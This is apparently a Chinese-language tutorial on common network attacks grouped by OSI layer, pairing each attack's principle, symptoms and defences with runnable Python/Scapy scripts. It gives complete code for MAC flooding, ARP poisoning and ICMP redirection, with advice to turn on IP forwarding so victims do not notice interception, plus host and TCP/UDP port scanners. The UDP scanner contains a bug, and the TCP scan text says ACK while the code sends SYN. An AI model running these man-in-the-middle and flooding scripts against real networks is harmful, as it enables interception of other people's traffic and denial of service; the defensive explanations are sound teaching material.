常见的网络攻击攻防方法

常见的网络攻击，按照osi七层协议，可以分为：

1，物理层 线路侦听

2，数据链路层 mac_flood

3，网络层 arp_poison，icmp_redirection

4，传输层 tcp_flood(包含ack_flood和syn_flood)，udp_flood(ntp,dns)

7，应用层 connection_flood，http_get等等，

按照攻击目的，可以分为：

中间人攻击（为了获得网络数据）：mac_flood，arp_poison，icmp_redirection

拒绝服务攻击：tcp_flood，udp_flood，connection_flood，http_get

按照攻击者的位置，可以分为：

攻击者必须与攻击目标处于同一网段：mac_flood，arp_poison，icmp_redirection，线路侦听

不必处于同一网段：其他

=======================mac_flood===================================

原理：

mac地址泛洪，通过发送大量的随机源mac地址帧，攻击交换机的mac地址表，使换机的mac地址表填满，并拒绝增加新的合法mac地址条目。一旦网段里主机的mac地址无法增加进交换机的mac地址表，该主机的帧将被广播，攻击者将会收到该主机的网络信息。

表现：

突然的，网段中所有主机将会收到大量广播帧。

解决方法：

在交换机上做配置，限制每个端口匹配mac地址的总数。

攻击代码：

from scapy.all import *
import time

class Mac_flood:
def __init__(self,times):
self.times = times
self.frame = Ether(dst=RandMAC('*:*:*:*:*:*'),src=RandMAC('*:*:*:*:*:*'))/IP(src=RandIP('*.*.*.*'),dst=RandIP('*.*.*.*'))

def flood(self):
for i in xrange(99999):
t1 = time.time()
sendp(self.frame,loop=1,count=self.times)
t2 = time.time()
print 'it takes',t2-t1,'seconds to send',self.times,'frames...'

if __name__ =='__main__':
mac_flood = Mac_flood(10000)
mac_flood.flood()

==========================arp_poison===========================

原理：

利用arp协议的漏洞，攻击目标主机或网的arp列表，截取目标主机或网管的流量。攻击目标一般是对目标主机和网关同时进行。

表现：

网段中有ip地址突然改变mac地址。

解决方法：

主机使用静态的arp列表，对网关进行绑定。有条件的话，网管也要使用静态德arp列表，对主机绑定。

攻击代码：

tool.py

import os
import time

class Tool:
def __init__(self):
pass

def enable_routing(self):
os.system('sysctl net.ipv4.ip_forward=1')
print 'start to route.'

def disable_routing(self):
os.system('sysctl net.ipv4.ip_forward=0')
print 'routing finished.'

def set_mac(self,iface,mac):
os.system('ifconfig '+iface+' down')
time.sleep(1)
os.system('ifconfig '+iface+' hw ether '+mac)
time.sleep(1)
os.system('ifconfig '+iface+' up')
time.sleep(1)
print 'set_mac,mac is',mac

def reset_mac(self):
os.system('ifconfig enp3s0 down')
time.sleep(1)
os.system('ifconfig enp3s0 hw ether '+'34:64:a9:12:60:73')
time.sleep(1)
os.system('ifconfig enp3s0 up')
time.sleep(1)
print 'reset_mac,mac is :34:64:a9:12:60:73'

def set_promisc(self,iface):
os.system('ifconfig '+iface+' promisc')
print 'set promisc'

def set_non_promisc(self,iface):
os.system('ifconfig '+iface+' -promisc')
print 'set non_promisc'

if __name__=='__main__':
tool=Tool()
tool.enable_routing()
#tool.set_mac('enp3s0','00:11:22:22:22:22')
#tool.reset_mac()
#tool.set_non_promisc('enp3s0')

先打开本机的路由功能，使得截取的流量依然能够到达目标主机，以免目标主机察觉。

arp_poison.py

from scapy.all import *
import time
import os

class Arp_poison:
def __init__(self,gateway_ip,victim_ip,iface):
self.gateway_ip = gateway_ip
self.victim_ip = victim_ip
self.iface = iface

def poison(self):
#get mac from gateway and victim
answer_gateway = srp1(Ether(dst='ff:ff:ff:ff:ff:ff')\
/ARP(pdst=self.gateway_ip),timeout=5,iface=self.iface)
if answer_gateway is None:
print 'there is no answer comes from gateway!'
return -1;
answer_victim = srp1(Ether(dst='ff:ff:ff:ff:ff:ff')\
/ARP(pdst=self.victim_ip),timeout=5,iface=self.iface)
if answer_victim is None:
print 'there is no answer comes from victim!'
return -1;
self.gateway_mac = answer_gateway.hwsrc
self.victim_mac = answer_victim.hwsrc
self.local_mac = answer_victim.dst

#print mac info
print 'gateway_mac is :',self.gateway_mac
print "victim_mac is :",self.victim_mac
print 'local_mac is :',self.local_mac

#forge arp packet
to_gateway = Ether(src='00:00:00:00:00:00',dst=self.gateway_mac)\
/ARP(op=2,hwsrc=self.local_mac,psrc=self.victim_ip,\
hwdst='00:00:00:00:00:00',pdst='0.0.0.0')

to_victim = Ether(src='00:00:00:00:00:00',dst=self.victim_mac)\
/ARP(op=2,hwsrc=self.local_mac,psrc=self.gateway_ip,\
hwdst='00:00:00:00:00:00',pdst='0.0.0.0')

#send it
for i in xrange(99999):
sendp([to_gateway,to_victim],iface=self.iface)
time.sleep(0.5)

if __name__ == '__main__':
arp_poison = Arp_poison('192.168.1.1','192.168.1.202','enp3s0')
arp_poison.poison()

===============================icmp_redirect===================

原理：

攻击目标主机的路由表，使之定向到攻击者。

表现：

路由表发生改变，一般情况下是默认路由发生改变。

解决方法：

关闭icmp协议

攻击代码：

from scapy.all import *
import time

class Icmp_redirection:
def __init__(self,victim_ip,gateway_ip,iface):
self.victim_ip=victim_ip
self.gateway_ip=gateway_ip
self.iface=iface

def redirect(self):
#get victim_mac,gateway_mac
answer_victim = srp1(Ether(dst='ff:ff:ff:ff:ff:ff')\
/ARP(pdst=self.victim_ip),timeout=5,iface=self.iface)
if answer_victim is None:
print 'there is no answer comes from victim.'

answer_gateway = srp1(Ether(dst='ff:ff:ff:ff:ff:ff')\
/ARP(pdst=self.gateway_ip),timeout=5,iface=self.iface)
if answer_gateway is None:
print 'there is no answer comes from gateway!'

self.gateway_mac = answer_gateway.hwsrc
self.victim_mac = answer_victim.hwsrc
self.local_mac = answer_victim.dst
self.local_ip = answer_victim.pdst
print 'gateway_mac is ',self.gateway_mac
print 'victim_mac is ',self.victim_mac
print 'local_mac is ',self.local_mac
print 'local_ip is ',self.local_ip
time.sleep(2)
print 'start to redirect'
time.sleep(0.5)

#forge icmp data
to_victim = Ether(src=self.gateway_mac,dst=self.victim_mac)\
/IP(src=self.gateway_ip,dst=self.victim_ip)\
/ICMP(type=5,code=1,gw=self.local_ip)\
/IP(src=self.victim_ip,dst='0.0.0.0')
to_victim.show()

#send it
sendp(to_victim,loop=1,count=99999,inter=0.5)

def cancel_redirect(self):
pass

if __name__ == '__main__':
ir=Icmp_redirection('192.168.1.202','192.168.1.1','enp3s0')
ir.redirect()

攻击前，要记得打开路由功能，以免目标主机察觉。

===================================================================

以上三种攻击，均为中间人攻击，要求攻击者与被攻击者在同一网段，能够窃取目标主机的流量信息，危害严重。下面的攻击均为拒绝服务攻击，不要求在同一网段，不能够窃取目标主机的流量信息，以攻击目标主机，使之无法正常工作为目标，危害相对较小。

==================================================================

=================================syn_flood========================

原理：

tcp连接的三次握手过程中，例如a想与b建立tcp连接，三次握手分别是：1，a发送syn给b。2，b发送syn和ack给a。3，a发送ack给b。

对于b，每当收到来自a的syn，b都要分配一段内存，存放ip地址，端口号，序列号，时间戳等信息。如果a发送大量的syn请求，b就会不断的分配内存，结果会是：1，b的内存耗尽，无法相应服务请求，或是2，队列被填满，无法响应新来的合法的请求。无论是那种情况，结果都是拒绝服务。

表现：

服务器收到大量syn请求，并且该请求均无下文。

解决方法：

解决方法大体可以分为三类：

1，根据syn请求包的逻辑来判断syn请求是否合法，例如syn重传

2，修改主机操作系统相关参数，提高操作系统对syn_flood的防御能力，例如缩短syn_timeout时间，减小重发次数，增加队列容量

3，syn_cookie和syn_proxy

syn_cookie将需要储存在内存中的信息，通过一个hash函数，计算出一个cookie值，作为序列号，发送给对方，在收到syn后并不立即分配内存，而是等到收到ack，并验证后在分配内存，一定程度上解决了syn_flood攻击的问题（解决的问题是：收到syn不再立即分配内存了）。但是，使用syn_cookie，提高了cpu的计算压力（在于收到syn要计算cookie值，收到ack后要验证），实质上是一种用cpu计算资源换取内存空间的方案。并且，使得主机对于ack_flood攻击更加敏感。

syn_proxy是一种，将对于主机的tcp_flood攻击转嫁到syn_proxy上的方案。

攻击代码：

略

===============================ack_flood========================

原理：

主机在收到ack后，会查询队列种是否存在相应的syn，如果没有，则直接丢弃ack。因此ack_flood本来是一种较弱的网络攻击。但是，当主机打开了syn_cookie后，主机要处理的事情就变得复杂了，要通过复杂的计算，验证ack的合法性。因此，ack_flood主要攻击使用了syn_cookie的主机，使之cpu计算资源耗尽，拒绝服务。

表现：

同syn_flood，只不过ack标志为1，syn标志为0

解决方法：

参考syn_flood

=============================ntp_flood==========================

原理：

ntp_flood是一种反射型udp攻击，有两个特点：1，攻击者不直接攻击目标主机，而是构造包，将流量发给提供ntp(network time protocol)服务的主机。2，通过了ntp主机后，流量会被放大，造成目标主机网络拥堵。

表现：

主机收到大量的ntp流量

解决方法：

1，找运营商清洗流量

2，找到攻击者本人解决

==============================dns_flood=========================

原理：

发送大量的dns查询报文，使得dns服务器资源耗尽。

表现：

略

解决方法：

略

============================ip扫描和端口扫描=====================

ip扫描，扫描网段内开启的主机

from scapy.all import *
import time

class Ip_scan:
def __init__(self):
pass

def scan(self,ip_set):
arp_packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip_set)
ans,uans = srp(arp_packet,timeout=3)
alive_ip_list=[]
for (send,receive) in ans:
alive_ip_list.append(receive.getlayer('ARP').psrc)
alive_ip_list.sort()
for i in alive_ip_list:
print "alive host :",i

if __name__ == '__main__':
ip_scan = Ip_scan()
ip_scan.scan('192.168.1.1/24')

扫描tcp端口

原理是：发送ack给目标主机的端口，如果无返回，则说明该端口被过滤，如果返回icmp不可达，说吗端口关闭，如果返回syn+ack，则说明端口是开放的。

from scapy.all import *
import time

class Tcp_scan:
def __init__(self):
pass

def scan(self,ip_addr,port_set):
filtered_port_list=[]
opened_port_list=[]
closed_port_list=[]
tcp_segment = IP(dst=ip_addr)/TCP(dport=port_set,flags='S')
print 'start to scan ',ip_addr
ans,uans = sr(tcp_segment,timeout=3)
for i in uans:
filtered_port_list.append(i.getlayer('TCP').dport)

for (send,receive) in ans:
if receive.haslayer('ICMP'):
if receive.getlayer('ICMP').type == 3 and\
receive.getlayer('ICMP').code == 3:
closed_port_list.append(send.getlayer('TCP').dport)
else:
print 'get a ??? icmp answer,type is :'\
,receive.getlayer('ICMP').type,'and code is:'\
,receive.getlayer('ICMP').code,'...'

elif receive.haslayer('TCP'):
flags = receive.getlayer('TCP').flags
if flags == 18:
opened_port_list.append(receive.getlayer('TCP').sport)
else:
closed_port_list.append(receive.getlayer('TCP').sport)

filtered_port_list.sort()
closed_port_list.sort()
opened_port_list.sort()

print 'open port is :',opened_port_list
print '###############################'
print 'closed port is :',closed_port_list
print '###############################'
print 'filtered_port_list is :',filtered_port_list

if __name__ == '__main__':
tcp_scan = Tcp_scan()
tcp_scan.scan('192.168.1.202',(1,1025))

扫描udp端口

原理是：发送udp数据，如果返回udp，说明端口是开放的。如果返回icmp不可达，说明端口关闭。如果返回icmp，type为3,code为1,2,9,10,13，说明端口被过滤了。如果无回应，则有可能是过滤或者关闭。

from scapy.all import *
import time

class Udp_scan:
def __init__(self):
pass

def scan(self,ip_addr,port_set):
udp_datagram = IP(dst=ip_addr)/UDP(sport=3000,dport=port_set)
print 'scan host',ip_addr,'......'
ans,uans = sr(udp_datagram,timeout=3)
open_port_list = []
closed_port_list = []
filtered_port_list = []

for (send,receive) in ans:
if receive.haslayer('UDP'):
open_port_list.append(i[1].getlayer('UDP').sport)

if receive.haslayer('ICMP'):

if (receive.getlayer('ICMP').type==3) and \
(receive.getlayer('ICMP').code==3):

closed_port_list.append(send.getlayer('UDP').dport)

if (receive.getlayer('ICMP').type==3) and \
receive.getlayer('ICMP').code in [1,2,9,10,13]:

filtered_port_list.append(send.getlayer('UDP').dport)

print 'open port :',open_port_list
print '#######################'
print 'closed port :',closed_port_list
print '#######################'
print 'filtered port :',filtered_port_list
print '######################'
print 'other port may be in filtered or opened state!!!!!!!!!!'

if __name__ == '__main__':
udp_scan=Udp_scan()
udp_scan.scan('192.168.1.202',(1,1024))